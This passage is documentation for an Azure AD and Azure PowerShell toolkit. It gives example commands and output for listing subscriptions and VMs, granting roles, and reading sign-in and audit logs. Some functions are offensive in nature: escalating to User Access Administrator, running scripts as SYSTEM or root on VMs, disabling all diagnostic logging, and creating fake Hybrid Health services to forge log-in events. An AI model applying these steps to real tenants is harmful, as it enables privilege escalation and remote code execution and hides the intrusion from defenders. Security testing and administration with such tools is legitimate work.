viceType><ServiceName>INTUNE_A</ServiceName><ProvisioningStatus>Disabled</ProvisioningStatus></ServiceStatus><ServiceStatus><ServiceType>AADPremiumService</ServiceType><ServiceName>
AAD_PREMIUM</ServiceName><ProvisioningStatus>Disabled</ProvisioningStatus></ServiceStatus><ServiceStatus><ServiceType>YammerEnterprise</ServiceType><ServiceName>YAMMER_ENTERPRISE</S
erviceName><ProvisioningStatus>Success</ProvisioningStatus></ServiceStatus><ServiceStatus><ServiceType>Sway</ServiceType><ServiceName>SWAY</ServiceName><ProvisioningStatus>Success</
ProvisioningStatus></ServiceStatus><ServiceStatus><ServiceType>SharePoint</ServiceType><ServiceName>SHAREPOINTWAC</ServiceName><ProvisioningStatus>Success</ProvisioningStatus></Serv
iceStatus><ServiceStatus><ServiceType>SharePoint</ServiceType><ServiceName>SHAREPOINTENTERPRISE</ServiceName><ProvisioningStatus>Success</ProvisioningStatus></ServiceStatus><Service
Status><ServiceType>ProjectWorkManagement</ServiceType><ServiceName>PROJECTWORKMANAGEMENT</ServiceName><ProvisioningStatus>Success</ProvisioningStatus></ServiceStatus><ServiceStatus
><ServiceType>MicrosoftOffice</ServiceType><ServiceName>OFFICESUBSCRIPTION</ServiceName><ProvisioningStatus>Success</ProvisioningStatus></ServiceStatus><ServiceStatus><ServiceType>M
icrosoftCommunicationsOnline</ServiceType><ServiceName>MCOSTANDARD</ServiceName><ProvisioningStatus>Success</ProvisioningStatus></ServiceStatus><ServiceStatus><ServiceType>Microsoft
CommunicationsOnline</ServiceType><ServiceName>MCOMEETADV</ServiceName><ProvisioningStatus>Success</ProvisioningStatus></ServiceStatus><ServiceStatus><ServiceType>MicrosoftCommunica
tionsOnline</ServiceType><ServiceName>MCOEV</ServiceName><ProvisioningStatus>Success</ProvisioningStatus></ServiceStatus><ServiceStatus><ServiceType>Exchange</ServiceType><ServiceNa
me>LOCKBOX_ENTERPRISE</ServiceName><ProvisioningStatus>Success</ProvisioningStatus></ServiceStatus><ServiceStatus><ServiceType>SCO</ServiceType><ServiceName>INTUNE_O365</ServiceName
><ProvisioningStatus>PendingActivation</ProvisioningStatus></ServiceStatus><ServiceStatus><ServiceType>Exchange</ServiceType><ServiceName>EXCHANGE_S_ENTERPRISE</ServiceName><Provisi
oningStatus>Success</ProvisioningStatus></ServiceStatus><ServiceStatus><ServiceType>Exchange</ServiceType><ServiceName>EXCHANGE_ANALYTICS</ServiceName><ProvisioningStatus>Success</P
rovisioningStatus></ServiceStatus><ServiceStatus><ServiceType>Exchange</ServiceType><ServiceName>EQUIVIO_ANALYTICS</ServiceName><ProvisioningStatus>Success</ProvisioningStatus></Ser
viceStatus><ServiceStatus><ServiceType>PowerBI</ServiceType><ServiceName>BI_AZURE_P2</ServiceName><ProvisioningStatus>Success</ProvisioningStatus></ServiceStatus><ServiceStatus><Ser
viceType>Exchange</ServiceType><ServiceName>ATP_ENTERPRISE</ServiceName><ProvisioningStatus>PendingProvisioning</ProvisioningStatus></ServiceStatus><ServiceStatus><ServiceType>Adall
om</ServiceType><ServiceName>ADALLOM_S_O365</ServiceName><ProvisioningStatus>PendingInput</ProvisioningStatus></ServiceStatus></LicenseInformation><LicenseInformation><SKUPartNumber
>EMSPREMIUM</SKUPartNumber><ServiceStatus><ServiceType>Exchange</ServiceType><ServiceName>EXCHANGE_S_FOUNDATION</ServiceName><ProvisioningStatus>PendingProvisioning</ProvisioningSta
tus></ServiceStatus><ServiceStatus><ServiceType>AzureAdvancedThreatAnalytics</ServiceType><ServiceName>ATA</ServiceName><ProvisioningStatus>Success</ProvisioningStatus></ServiceStat
us><ServiceStatus><ServiceType>Adallom</ServiceType><ServiceName>ADALLOM_S_STANDALONE</ServiceName><ProvisioningStatus>PendingInput</ProvisioningStatus></ServiceStatus><ServiceStatu
s><ServiceType>RMSOnline</ServiceType><ServiceName>RMS_S_PREMIUM2</ServiceName><ProvisioningStatus>Success</ProvisioningStatus></ServiceStatus><ServiceStatus><ServiceType>RMSOnline<
/ServiceType><ServiceName>RMS_S_PREMIUM</ServiceName><ProvisioningStatus>Success</ProvisioningStatus></ServiceStatus><ServiceStatus><ServiceType>RMSOnline</ServiceType><ServiceName>
RMS_S_ENTERPRISE</ServiceName><ProvisioningStatus>Success</ProvisioningStatus></ServiceStatus><ServiceStatus><ServiceType>SCO</ServiceType><ServiceName>INTUNE_A</ServiceName><Provis
ioningStatus>PendingInput</ProvisioningStatus></ServiceStatus><ServiceStatus><ServiceType>AADPremiumService</ServiceType><ServiceName>AAD_PREMIUM_P2</ServiceName><ProvisioningStatus
>Success</ProvisioningStatus></ServiceStatus><ServiceStatus><ServiceType>MultiFactorService</ServiceType><ServiceName>MFA_PREMIUM</ServiceName><ProvisioningStatus>Success</Provision
ingStatus></ServiceStatus><ServiceStatus><ServiceType>AADPremiumService</ServiceType><ServiceName>AAD_PREMIUM</ServiceName><ProvisioningStatus>Success</ProvisioningStatus></ServiceS
tatus></LicenseInformation></LicenseInformations></TenantUserInfo>
Severity : 2
OverridesChildren : False
ProblemId : 00000000-0000-0000-0000-000000000000
TimeCached : 0001-01-01T00:00:00
SaraSymptomId : 00000000-0000-0000-0000-000000000000
SaraWorkflowRunId : 00000000-0000-0000-0000-000000000000
SaraSymptomRunId : 00000000-0000-0000-0000-000000000000
SaraSessionId : 00000000-0000-0000-0000-000000000000
Id : 81157ffa-d946-4bf8-8d6e-a391b96e4bf6
Azure functions
Grant-AADIntAzureUserAccessAdminRole (AC)
Since version 0.3.3
Elevates the current authenticated Global Admin to Azure User Access Administrator.
This allows the admin for instance to manage all role assignments in all subscriptions of the tenant.
Example:
# Get the Access Token
$at=Get-AADIntAccessTokenForAzureCoreManagement
# Grant Azure User Access Administrator role
Grant-AADIntAzureUserAccessAdminRole -AccessToken $atGet-AADIntAzureSubscriptions (AC)
Since version 0.3.3
Lists the tenant’s Azure subscriptions
Example:
# Get the Access Token
$at=Get-AADIntAccessTokenForAzureCoreManagement
# Get all subscriptions of the current tenant
Get-AADIntAzureSubscriptions -AccessToken $atOutput:
subscriptionId displayName state
-------------- ----------- -----
867ae413-0ad0-49bf-b4e4-6eb2db1c12a0 MyAzure001 Enabled
99fccfb9-ed41-4179-aaf5-93cae2151a77 Pay-as-you-go Enabled
Set-AADIntAzureRoleAssignment (AC)
Since version 0.3.3
Assigns a given role to the given user. Defaults to the current user.
Example:
# Get the Access Token
$at=Get-AADIntAccessTokenForAzureCoreManagement
# Grant Virtual Machine Contributor role to the current user
Set-AADIntAzureRoleAssignment -AccessToken $at -SubscriptionId 867ae413-0ad0-49bf-b4e4-6eb2db1c12a0 -RoleName "Virtual Machine Contributor"Output:
roleDefinitionId : /subscriptions/867ae413-0ad0-49bf-b4e4-6eb2db1c12a0/providers/Microsoft.Authorization/roleDefinitions/9980e02c-c2be-4d73-94e8-173b1dc7cf3c
principalId : 90f9ca62-2238-455b-bb15-de695d689c12
principalType : User
scope : /subscriptions/867ae413-0ad0-49bf-b4e4-6eb2db1c12a0
createdOn : 2020-06-03T11:29:58.1683714Z
updatedOn : 2020-06-03T11:29:58.1683714Z
createdBy :
updatedBy : 90f9ca62-2238-455b-bb15-de695d689c12
Get-AADIntAzureClassicAdministrators (AC)
Since version 0.3.3
Returns classic administrators of the given Azure subscription
Example:
# Get the Access Token
Get-AADIntAccessTokenForAzureCoreManagement -SaveToCache
Get-AADIntAzureClassicAdministrators -Subscription "4f9fe2bc-71b3-429f-8a63-5957f1582144"Output:
emailAddress role
------------ ----
admin@company.onmicrosoft.com ServiceAdministrator;AccountAdministrator
co-admin@comapny.com CoAdministrator
Get-AADIntAzureResourceGroups (AC)
Since version 0.3.3
Lists Azure subscription ResourceGroups
Example:
# Get the Access Token
$at=Get-AADIntAccessTokenForAzureCoreManagement
# List the Resource Groups
Get-AADIntAzureResourceGroups -AccessToken $at -SubscriptionId 867ae413-0ad0-49bf-b4e4-6eb2db1c12a0Output:
name location tags
---- -------- ----
Production westus Production
Test eastus Test
Get-AADIntAzureVMs (AC)
Since version 0.3.3
Lists Azure subscription Virtual Machines and shows the relevant information
Example:
# Get the Access Token
$at=Get-AADIntAccessTokenForAzureCoreManagement
# List the VMs
Get-AADIntAzureVMs -AccessToken $at -SubscriptionId 867ae413-0ad0-49bf-b4e4-6eb2db1c12a0Output:
resourceGroup name location id computerName adminUserName vmSize OS
------------- ---- -------- -- ------------ ------------- ------ --
PRODUCTION Client westus c210d38b-3346-41d3-a23d-27988315825b Client AdminUSer Standard_A2_v2 Windows
PRODUCTION DC westus 9b8f8753-196f-4f24-847a-e5bcb751936d DC AdminUSer Standard_DS1_v2 Windows
PRODUCTION Exchange westus a12ffb24-a69e-4ce9-aff3-275f49bba315 Exchange AdminUSer Standard_DS2_v2 Windows
PRODUCTION Server1 westus c7d98db7-ccb5-491f-aaeb-e71f0df478b6 Server1 AdminUSer Standard_DS1_v2 Windows
TEST Server2 eastus ae34dfcc-ad89-4e53-b0b4-20d453bdfcef Server2 AdminUSer Standard_DS1_v2 Windows
TEST Server3 eastus f8f6a7c5-9927-47f9-a790-84c866f5719c Server3 AzureUser Standard_B1ms Linux
Invoke-AADIntAzureVMScript (AC)
Since version 0.3.3
Runs a given script on the given Azure VM as a SYSTEM or root.
Note! Although the scripts supports UTF-8, the response only shows ascii characters so any UTF-8 character is shown incorrectly (bug at Microsoft’s end).
Multi-line scripts are supported. Use `n as a line separator.
Example1:
# Get the Access Token
$at=Get-AADIntAccessTokenForAzureCoreManagement
# Invoke "whoami" on Server2
Invoke-AADIntAzureVMScript -AccessToken $at -SubscriptionId 867ae413-0ad0-49bf-b4e4-6eb2db1c12a0 -ResourceGroup PRODUCTION -Server Server2 -Script "whoami"Output1:
[stdout]
nt authority\system
[stderr]
Example2:
# Get the Access Token
$at=Get-AADIntAccessTokenForAzureCoreManagement
# Invoke "whoami" on Server3
Invoke-AADIntAzureVMScript -AccessToken $at -SubscriptionId 867ae413-0ad0-49bf-b4e4-6eb2db1c12a0 -ResourceGroup TEST -Server Server3 -Script "whoami" -VMType LinuxOutput2:
Enable succeeded:
[stdout]
root
[stderr]
Example3:
# Get the Access Token
$at=Get-AADIntAccessTokenForAzureCoreManagement
# Invoke multi-line script on Server2
Invoke-AADIntAzureVMScript -AccessToken $at -SubscriptionId 867ae413-0ad0-49bf-b4e4-6eb2db1c12a0 -ResourceGroup PRODUCTION -Server Server2 -Script "whoami`nGet-Process 123123123"Output3:
[stdout]
nt authority\system
[stderr]
Get-Process : Cannot find a process with the name "123123123". Verify the process name and call the cmdlet again.
At C:\Packages\Plugins\Microsoft.CPlat.Core.RunCommandWindows\1.1.5\Downloads\script42.ps1:2 char:1
+ Get-Process 123123123
+ ~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : ObjectNotFound: (123123123:String) [Get-Process], ProcessCommandException
+ FullyQualifiedErrorId : NoProcessFoundForGivenName,Microsoft.PowerShell.Commands.GetProcessCommand
Example4:
# List running processes of Server2
Invoke-AADIntAzureVMScript -AccessToken $at -SubscriptionId 867ae413-0ad0-49bf-b4e4-6eb2db1c12a0 -ResourceGroup PRODUCTION -Server Server2 -Script "Get-Process"Output4:
[stdout]
727 36 14132 27092 5.94 396 0 svchost
936 29 69796 76820 7.91 400 0 svchost
664 22 15664 27432 39.39 464 0 svchost
839 23 6856 24352 0.91 792 0 svchost
785 17 4792 10968 4.75 892 0 svchost
282 13 3020 9324 7.41 1052 0 svchost
1889 96 38548 72480 24.86 1216 0 svchost
642 35 8928 28452 0.50 1236 0 svchost
519 24 19480 37620 4.08 1376 0 svchost
411 17 15440 18076 29.81 1392 0 svchost
833 41 10676 25512 2.02 1424 0 svchost
317 11 2000 8840 0.08 1432 0 svchost
380 31 7324 16320 0.39 1584 0 svchost
211 12 1876 7524 0.22 1808 0 svchost
199 9 1596 6916 0.00 1968 0 svchost
200 10 2308 8344 0.06 2188 0 svchost
146 8 1472 7144 0.06 3000 0 svchost
468 21 6516 31128 0.33 3140 2 svchost
173 9 4332 12968 0.72 3208 0 svchost
2061 0 192 156 11.45 4 0 System
340 17 3964 17324 0.13 3416 2 TabTip
413 24 13016 34008 0.25 4488 2 TabTip
103 7 1264 4756 0.00 3264 2 TabTip32
216 22 4864 14260 0.08 1272 2 taskhostw
446 24 17080 22096 0.39 2796 0 taskhostw
150 9 1664 8984 0.03 1196 0 VSSVC
946 45 62896 78976 13.22 2068 0 WaAppAgent
119 6 1504 5800 0.02 4152 0 WaSecAgentProv
646 41 45220 68180 85.78 2088 0 WindowsAzureGuestAgent
131 9 2252 8344 0.03 3868 0 WindowsAzureNetAgent
174 11 1548 6916 0.11 552 0 wininit
234 11 2588 11160 0.09 612 1 winlogon
266 12 2456 10120 0.08 3428 2 winlogon
178 10 2776 8368 0.02 4052 0 WmiPrvSE
[stderr]
Get-AADIntAzureVMRdpSettings (AC)
Since version 0.3.3
Shows the RDP settings of the given VM
Example:
# Get the Access Token
$at=Get-AADIntAccessTokenForAzureCoreManagement
# Dump the RDP settings
Get-AADIntAzureVMRdpSettings -AccessToken $at -SubscriptionId 867ae413-0ad0-49bf-b4e4-6eb2db1c12a0 -ResourceGroup PRODUCTION -Server Server2Output:
Not domain joined
HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\Winstations\RDP-Tcp\PortNumber: 3389
HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services\fDenyTSConnections:
HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services\KeepAliveEnable: 1
HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services\KeepAliveInterval: 1
HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services\KeepAliveTimeout: 1
HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services\fDisableAutoReconnect: 0
HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\Winstations\RDP-Tcp\fInheritReconnectSame: 1
HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\Winstations\RDP-Tcp\fReconnectSame: 0
HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\Winstations\RDP-Tcp\fInheritMaxSessionTime: 1
HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\Winstations\RDP-Tcp\fInheritMaxDisconnectionTime: 1
HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\Winstations\RDP-Tcp\MaxDisconnectionTime: 0
HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\Winstations\RDP-Tcp\MaxConnectionTime: 0
HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\Winstations\RDP-Tcp\fInheritMaxIdleTime: 1
HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\Winstations\RDP-Tcp\MaxIdleTime: 0
HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\Winstations\RDP-Tcp\MaxInstanceCount: 4294967295
Get-AADIntAzureTenants (AC)
Since version 0.4.0
Lists all Azure AD tenants the user has access to.
Example:
# Get the Access Token and save to cache
Get-AADIntAccessTokenForAzureCoreManagement -SaveToCache
# List the tenants
Get-AADIntAzureTenantsOutput:
Id Country Name Domains
-- ------- ---- -------
221769d7-0747-467c-a5c1-e387a232c58c FI Firma Oy {firma.mail.onmicrosoft.com, firma.onmicrosoft.com, firma.fi}
6e3846ee-e8ca-4609-a3ab-f405cfbd02cd US Company Ltd {company.onmicrosoft.com, company.mail.onmicrosoft.com,company.com}
Get-AADIntAzureInformation (AC)
Since version 0.4.0
Gets some Azure Tenant information, including certain tenant settings and ALL domains. The access token MUST be stored to cache! Works also for guest users!
The Tenant is not required for Access Token but is recommended as some tenants may have MFA.
Example:
# Get the Access Token and save to cache
Get-AADIntAccessTokenForAzureCoreManagement -Tenant 6e3846ee-e8ca-4609-a3ab-f405cfbd02cd -SaveToCache
# Show the information
Get-AADIntAzureInformation -Tenant 6e3846ee-e8ca-4609-a3ab-f405cfbd02cdOutput:
objectId : 6e3846ee-e8ca-4609-a3ab-f405cfbd02cd
displayName : Company Ltd
usersCanRegisterApps : True
isAnyAccessPanelPreviewFeaturesAvailable : False
showMyGroupsFeature : False
myGroupsFeatureValue :
myGroupsGroupId :
myGroupsGroupName :
showMyAppsFeature : False
myAppsFeatureValue :
myAppsGroupId :
myAppsGroupName :
showUserActivityReportsFeature : False
userActivityReportsFeatureValue :
userActivityReportsGroupId :
userActivityReportsGroupName :
showRegisteredAuthMethodFeature : False
registeredAuthMethodFeatureValue :
registeredAuthMethodGroupId :
registeredAuthMethodGroupName :
usersCanAddExternalUsers : False
limitedAccessCanAddExternalUsers : False
restrictDirectoryAccess : False
groupsInAccessPanelEnabled : False
selfServiceGroupManagementEnabled : True
securityGroupsEnabled : False
usersCanManageSecurityGroups :
office365GroupsEnabled : False
usersCanManageOfficeGroups :
allUsersGroupEnabled : False
scopingGroupIdForManagingSecurityGroups :
scopingGroupIdForManagingOfficeGroups :
scopingGroupNameForManagingSecurityGroups :
scopingGroupNameForManagingOfficeGroups :
objectIdForAllUserGroup :
allowInvitations : False
isB2CTenant : False
restrictNonAdminUsers : False
enableLinkedInAppFamily : 0
toEnableLinkedInUsers : {}
toDisableLinkedInUsers : {}
linkedInSelectedGroupObjectId :
linkedInSelectedGroupDisplayName :
allowedActions : @{application=System.Object[]; domain=System.Object[]; group=System.Object[]; serviceprincipal=System.Object[];
tenantdetail=System.Object[]; user=System.Object[]; serviceaction=System.Object[]}
skuInfo : @{aadPremiumBasic=False; aadPremium=False; aadPremiumP2=False; aadBasic=False; aadBasicEdu=False; aadSmb=False;
enterprisePackE3=False; enterprisePremiumE5=False}
domains : {@{authenticationType=Managed; availabilityStatus=; isAdminManaged=True; isDefault=False; isDefaultForCloudRedirections=False;
isInitial=False; isRoot=True; isVerified=True; name=company.com; supportedServices=System.Object[]; forceDeleteState=; state=;
passwordValidityPeriodInDays=; passwordNotificationWindowInDays=}, @{authenticationType=Managed; availabilityStatus=;
isAdminManaged=True; isDefault=False; isDefaultForCloudRedirections=False; isInitial=True; isRoot=True; isVerified=True;
name=company.onmicrosoft.com;}...}
Get-AADIntAzureSignInLog (M)
Since version 0.4.0
Returns the 50 latest entries from Azure AD sign-in log or single entry by id.
Example:
# Get the Access Token and save to cache
Get-AADIntAccessTokenForMSGraph -SaveToCache
# Show the log
Get-AADIntAzureSignInLogOutput:
createdDateTime id ipAddress userPrincipalName appDisplayName
--------------- -- --------- ----------------- --------------
2020-05-25T05:54:28.5131075Z b223590e-8ba1-4d54-be54-03071659f900 199.11.103.31 admin@company.onmicrosoft.com Azure Portal
2020-05-29T07:56:50.2565658Z f6151a97-98cc-444e-a79f-a80b54490b00 139.93.35.110 user@company.com Azure Portal
2020-05-29T08:02:24.8788565Z ad2cfeff-52f2-442a-b8fc-1e951b480b00 11.146.246.254 user2@company.com Microsoft Docs
2020-05-29T08:56:48.7857468Z e0f8e629-863f-43f5-a956-a4046a100d00 1.239.249.24 admin@company.onmicrosoft.com Azure Active Directory PowerShell
# Show the information for a single entry
Get-AADIntAzureSignInLog -EntryId b223590e-8ba1-4d54-be54-03071659f900Output:
id : b223590e-8ba1-4d54-be54-03071659f900
createdDateTime : 2020-05-25T05:54:28.5131075Z
userDisplayName : admin company
userPrincipalName : admin@company.onmicrosoft.com
userId : 289fcdf8-af4e-40eb-a363-0430bc98d4d1
appId : c44b4083-3bb0-49c1-b47d-974e53cbdf3c
appDisplayName : Azure Portal
ipAddress : 199.11.103.31
clientAppUsed : Browser
userAgent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
...
Get-AADIntAzureAuditLog (M)
Since version 0.4.0
Returns the 50 latest entries from Azure AD sign-in log or single entry by id.
Example:
# Get the Access Token and save to cache
Get-AADIntAccessTokenForMSGraph -SaveToCache
# Show the log
Get-AADIntAzureAuditLogOutput:
id activityDateTime activityDisplayName operationType result initiatedBy
-- ---------------- ------------------- ------------- ------ -----------
Directory_9af6aff3-dc09-4ac1-a1d3-143e80977b3e_EZPWC_41985545 2020-05-29T07:57:51.4037921Z Add service principal Add success @{user=; app=}
Directory_f830a9d4-e746-48dc-944c-eb093364c011_1ZJAE_22273050 2020-05-29T07:57:51.6245497Z Add service principal Add failure @{user=; app=}
Directory_a813bc02-5d7a-4a40-9d37-7d4081d42b42_RKRRS_12877155 2020-06-02T12:49:38.5177891Z Add user Add success @{app=; user=}
# Show the information for a single entry
Get-AADIntAzureAuditLog -EntryId Directory_9af6aff3-dc09-4ac1-a1d3-143e80977b3e_EZPWC_41985545Output:
id : Directory_9af6aff3-dc09-4ac1-a1d3-143e80977b3e_EZPWC_41985545
category : ApplicationManagement
correlationId : 9af6aff3-dc09-4ac1-a1d3-143e80977b3e
result : success
resultReason :
activityDisplayName : Add service principal
activityDateTime : 2020-05-29T07:57:51.4037921Z
loggedByService : Core Directory
operationType : Add
initiatedBy : @{user=; app=}
targetResources : {@{id=66ce0b00-92ee-4851-8495-7c144b77601f; displayName=Azure Credential Configuration Endpoint Service; type=ServicePrincipal; userPrincipalName=;
groupType=; modifiedProperties=System.Object[]}}
additionalDetails : {}
Remove-AADIntAzureDiagnosticSettings (AC)
Since version 0.4.5
Removes all diagnostic settings by disabling all logs.
Example:
# Get the access token
$at=Get-AADIntAccessTokenForAzureCoreManagement -SaveToCache
# Remove the diagnostic settings
Remove-AADIntAzureDiagnosticSettingsGet-AADIntAzureDiagnosticSettings (AC)
Since version 0.4.5
Lists all diagnostic settings.
Example:
# Get the access token
$at=Get-AADIntAccessTokenForAzureCoreManagement -SaveToCache
# List diagnostic settings
Get-AADIntAzureDiagnosticSettingsOutput:
Name : Audit and SignIn to Sentinel
WorkspaceId : /subscriptions/a04293e7-46c8-4bf4-bc6d-1bc1f41afae0/resourcegroups/sentinel/providers/microsoft.operationalinsights/workspaces/MySentinel
StorageAccountId :
EventHubAuthorizationRuleId :
EventHubName :
ServiceBusRuleId :
Name : Service Principal to Sentinel
WorkspaceId : /subscriptions/a04293e7-46c8-4bf4-bc6d-1bc1f41afae0/resourcegroups/sentinel/providers/microsoft.operationalinsights/workspaces/MySentinel
StorageAccountId :
EventHubAuthorizationRuleId :
EventHubName :
ServiceBusRuleId :
Get-AADIntAzureDiagnosticSettingsDetails (AC)
Since version 0.4.5
Gets log settings of the given Azure workspace.
Example: (continuing from the previous)
# List diagnostic settings for the given workspace
Get-AADAzureIntDiagnosticSettingsDetails -Name "Audit and SignIn to Sentinel"Output:
Log Enabled Retention Enabled Retention Days
--- ------- ----------------- --------------
ProvisioningLogs False False 0
AuditLogs False False 0
SignInLogs False False 0
NonInteractiveUserSignInLogs False False 0
ServicePrincipalSignInLogs False False 0
ManagedIdentitySignInLogs True True 365
Set-AADIntAzureDiagnosticSettingsDetails (AC)
Since version 0.4.5
Sets log settings for the given Azure workspace.
Example: (continuing from the previous)
# Set the diagnostic log settings for the given workspace
Set-AADIntDiagnosticSettingsDetails -Name "Audit and SignIn to Sentinel" -Log ManagedIdentitySignInLogs,AuditLogs,SignInLogs -Enabled $true -RetentionEnabled $true -RetentionDays 365Output:
Log Enabled Retention Enabled Retention Days
--- ------- ----------------- --------------
ProvisioningLogs False False 0
AuditLogs True True 365
SignInLogs True True 365
NonInteractiveUserSignInLogs False False 0
ServicePrincipalSignInLogs False False 0
ManagedIdentitySignInLogs True True 365
Get-AADIntAzureDirectoryActivityLog (AC)
Since version 0.6.1
Gets Azure Directory Activity log events even from tenants without Azure subscription.
Note: If the tenant doesn’t have Azure subscription, the user must have “Access management for Azure resources” switched on at https://portal.azure.com/#blade/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/Properties or use Grant-AADIntAzureUserAccessAdminRole.
Example:
# Get the access token and save to cache
Get-AADIntAccessTokenForAzureCoreManagement -SaveToCache
# Optional: grant Azure User Access Administrator role
Grant-AADIntAzureUserAccessAdminRole
# Get the events for the last month
$events = Get-AADIntAzureDirectoryActivityLog -Start (Get-Date).AddDays(-31)
# Select ADHybridHealthService related events and extract relevant information
$events | where {$_.authorization.action -like "Microsoft.ADHybrid*"} | %{New-Object psobject -Property ([ordered]@{"Scope"=$_.authorization.scope;"Operation"=$_.operationName.localizedValue;"Caller"=$_.caller;"TimeStamp"=$_.eventTimeStamp;"IpAddress"=$_.httpRequest.clientIpAddress})} | ftOutput:
Scope Operation Caller TimeStamp IpAddress
----- --------- ------ --------- ---------
/providers/Microsoft.ADHybridHealthService/services/AdFederationService-sts2.company.com Creates a server. admin@company.com 2021-08-25T15:10:59.0148112Z 51.65.246.212
/providers/Microsoft.ADHybridHealthService/services/AdFederationService-sts2.company.com Creates a server. admin@company.com 2021-08-25T15:10:58.3348792Z 51.65.246.212
/providers/Microsoft.ADHybridHealthService/services/AdFederationService-sts2.company.com Creates a server. admin@company.com 2021-08-25T15:10:16.2093169Z 51.65.246.212
/providers/Microsoft.ADHybridHealthService/services/AdFederationService-sts2.company.com Creates a server. admin@company.com 2021-08-25T15:10:15.5693784Z 51.65.246.212
/providers/Microsoft.ADHybridHealthService/services/AdFederationService-sts2.company.com Creates a server. admin@company.com 2021-08-25T15:07:11.3219081Z 51.65.246.212
/providers/Microsoft.ADHybridHealthService/services/AdFederationService-sts2.company.com Creates a server. admin@company.com 2021-08-25T15:07:10.5819036Z 51.65.246.212
/providers/Microsoft.ADHybridHealthService/services/AdFederationService-sts2.company.com Creates a server. admin@company.com 2021-08-25T15:04:18.1500781Z 51.65.246.212
/providers/Microsoft.ADHybridHealthService/services/AdFederationService-sts2.company.com Creates a server. admin@company.com 2021-08-25T15:04:17.7750301Z 51.65.246.212
/providers/Microsoft.ADHybridHealthService Updates a service. admin@company.com 2021-08-25T15:02:33.2797177Z 51.65.246.212
/providers/Microsoft.ADHybridHealthService Updates a service. admin@company.com 2021-08-25T15:02:33.0297112Z 51.65.246.212
/providers/Microsoft.ADHybridHealthService/services/AdFederationService-sts.company.com Deletes service. admin@company.com 2021-08-25T15:01:26.9612649Z 152.219.25.6
/providers/Microsoft.ADHybridHealthService/services/AdFederationService-sts.company.com Deletes service. admin@company.com 2021-08-25T15:01:26.7262514Z 152.219.25.6
/providers/Microsoft.ADHybridHealthService/services/AdFederationService-sts.company.com Deletes service. admin@company.com 2021-08-25T15:01:18.4399245Z 152.219.25.6
/providers/Microsoft.ADHybridHealthService/services/AdFederationService-sts.company.com Deletes service. admin@company.com 2021-08-25T15:01:18.2599207Z 152.219.25.6
/providers/Microsoft.ADHybridHealthService Updates a service. admin@company.com 2021-08-25T15:00:00.5760736Z 152.219.25.6
/providers/Microsoft.ADHybridHealthService Updates a service. admin@company.com 2021-08-25T14:59:53.6402357Z 152.219.25.6
Get-AADIntAzureWireServerAddress 😈
Since version 0.6.5
Gets Azure and Azure Stack WireServer ip address using DHCP. If DHCP query fails, returns the default address (168.63.129.16)
Example:
# Get WireServer address
Get-AADIntAzureWireServerAddressOutput:
168.63.129.16
Hybrid Health functions
The following functions can be used to add new Hybrid Health services and agents, and to create & send fake log-in events to Azure AD.
New-AADIntHybridHealthService (AC)
Since version 0.5.0
Creates a new ADHybridHealthService
Example:
# Get an access token and save it to the cache:
Get-AADIntAccessTokenForAzureCoreManagement -SaveToCache
# Create a new AD FS service
New-AADIntHybridHealthService -DisplayName "sts.company.com" -Signature "sts.company.com" -Type AdFederationServiceOutput:
activeAlerts : 0
additionalInformation :
createdDate : 2021-07-12T07:25:29.1009287Z
customNotificationEmails :
disabled : False
displayName : sts.company.com
health : Healthy
lastDisabled :
lastUpdated : 0001-01-01T00:00:00
monitoringConfigurationsComputed :
monitoringConfigurationsCustomized :
notificationEmailEnabled : True
notificationEmailEnabledForGlobalAdmins : True
notificationEmails :
notificationEmailsEnabledForGlobalAdmins : False
resolvedAlerts : 0
serviceId : 189c61bb-2c9c-4e86-b038-d0257c6c559e
serviceMembers :
serviceName : AdFederationService-sts.company.com
signature : sts.company.com
simpleProperties :
tenantId : c5ff949d-2696-4b68-9e13-055f19ed2d51
type : AdFederationService
originalDisabledState : False
Get-AADIntHybridHealthServices (AC)
Since version 0.5.0
Gets ADHybridHealthServices
Example:
# Get an access token and save it to the cache:
Get-AADIntAccessTokenForAzureCoreManagement -SaveToCache
# List the service names
Get-AADIntHybridHealthServices -Service AdFederationService | ft serviceNameOutput:
serviceName
-----------
AdFederationService-sts.company.com
AdFederationService-sts.fake.myo365.site
Remove-AADIntHybridHealthService (AC)
Since version 0.5.0
Removes an ADHybridHealthService
Example:
# Get an access token and save it to the cache:
Get-AADIntAccessTokenForAzureCoreManagement -SaveToCache
# Remove the service
Remove-AADIntHybridHealthService -ServiceName "AdFederationService-sts.company.com"New-AADIntHybridHealthServiceMember (AC)
Since version 0.5.0
Adds a new ADHybridHealthService member
Example:
# Get an access token and save it to the cache:
Get-AADIntAccessTokenForAzureCoreManagement -SaveToCache
# Create a new service member
New-AADIntHybridHealthServiceMember -ServiceName "AdFederationService-sts.company.com" -MachineName "MyServer"Output:
lastReboot : 0001-01-01T00:00:00Z
lastDisabled :
lastUpdated : 0001-01-01T00:00:00
activeAlerts : 0
resolvedAlerts : 0
createdDate : 2021-05-06T07:15:50.0087136Z
disabled : False
dimensions :
additionalInformation :
tenantId : 5b53828e-8e7b-42d1-a5f0-9b34bbd1844a
serviceId : 50abc8f3-243a-4ac1-a3fb-712054d7334b
serviceMemberId : 0fce7ce0-81a0-4bf7-87fb-fc787dfe13c2
machineId : e9f8357d-8a25-4cef-8c6b-f0b3c916ead5
machineName : MyServer
role :
status : Healthy
properties :
installedQfes :
recommendedQfes :
monitoringConfigurationsComputed :
monitoringConfigurationsCustomized :
osVersion :
osName :
disabledReason : 0
serverReportedMonitoringLevel :
lastServerReportedMonitoringLevelChange :
